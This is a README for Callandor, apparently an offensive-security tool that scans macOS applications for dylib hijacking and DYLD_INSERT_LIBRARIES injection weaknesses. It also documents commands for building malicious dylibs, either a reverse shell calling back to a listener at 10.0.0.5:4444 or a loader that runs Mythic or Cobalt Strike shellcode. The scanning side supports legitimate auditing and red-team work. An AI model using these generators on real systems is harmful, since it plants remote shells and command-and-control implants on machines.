A Swift-based tool designed to hunt down Dynamic Library (dylib) Hijacking vulnerabilities in macOS applications. Named after the "Sword That Is Not A Sword", it acts as both a scanner and a weapon (exploit generator).
- ⚡ Fast Recursive Scanning: Traverses deeply nested directories and application bundles
.app. - 🔍 Advanced Vulnerability Detection:
- Weak Dylibs: Identifies
LC_LOAD_WEAK_DYLIBcommands pointing to missing libraries in writable directories. - RPATH Hijacking: Detects insecure
LC_RPATHconfigurations that allow current-user writing. - Relative Path Loading: Flags libraries loaded via relative paths (e.g.,
lib/foo.dylib). - Environment Variable Injection: Analyzes
__RESTRICTsegments, Hardened Runtime flags, and Entitlements to determine susceptibility toDYLD_INSERT_LIBRARIESinjection.
- Weak Dylibs: Identifies
- 📊 Flexible Reporting: Outputs results in JSON (for automation), Markdown (for reports), or colorized Text (for terminal usage).
- 🔥 Auto-Exploit Generation: Automatically generates and compiles malicious dylibs (C-based) for identified vulnerabilities. Supports Reverse Shells and Raw Shellcode (e.g., Mythic agents).
Build from source using Swift:
cd Callandor
swift build -c release
cp .build/release/Callandor /usr/local/bin/Callandor <directory_path> [options]--json: Output results in JSON format.--markdown: Output results in Markdown format.-h, --help: Show help menu.
Scan your Applications folder:
Callandor /Applications --markdown > report.mdJSON Output for Automation:
Callandor ~/MyProjects --json | jq .The tool can automatically generate and compile a malicious .dylib to verify vulnerabilities.
Generate a Reverse Shell Dylib:
Connects back to your listener (e.g., nc -lvp 4444).
Callandor generate --type revshell --host 10.0.0.5 --port 4444 --output payload.dylibGenerate a Raw Shellcode Loader Dylib:
Loads raw shellcode (e.g., from Mythic or Cobalt Strike) into memory (RX -> RWX mapped) and executes it.
Callandor generate --type raw --payload agent.bin --output agent.dylib| Vulnerability Type | Severity | Description |
|---|---|---|
weakDylibMissing |
High | A weak library load command references a missing file in a writable directory. |
writableRpath |
High | An LC_RPATH directory is writable by the user, allowing dylib planting. |
envVarInjection |
High | Binary lacks Hardened Runtime or Restricted status, allowing code injection via environment variables. |
relativePath |
Medium | Library is loaded via a relative path, which can be manipulated. |
MIT License. Use responsibly.
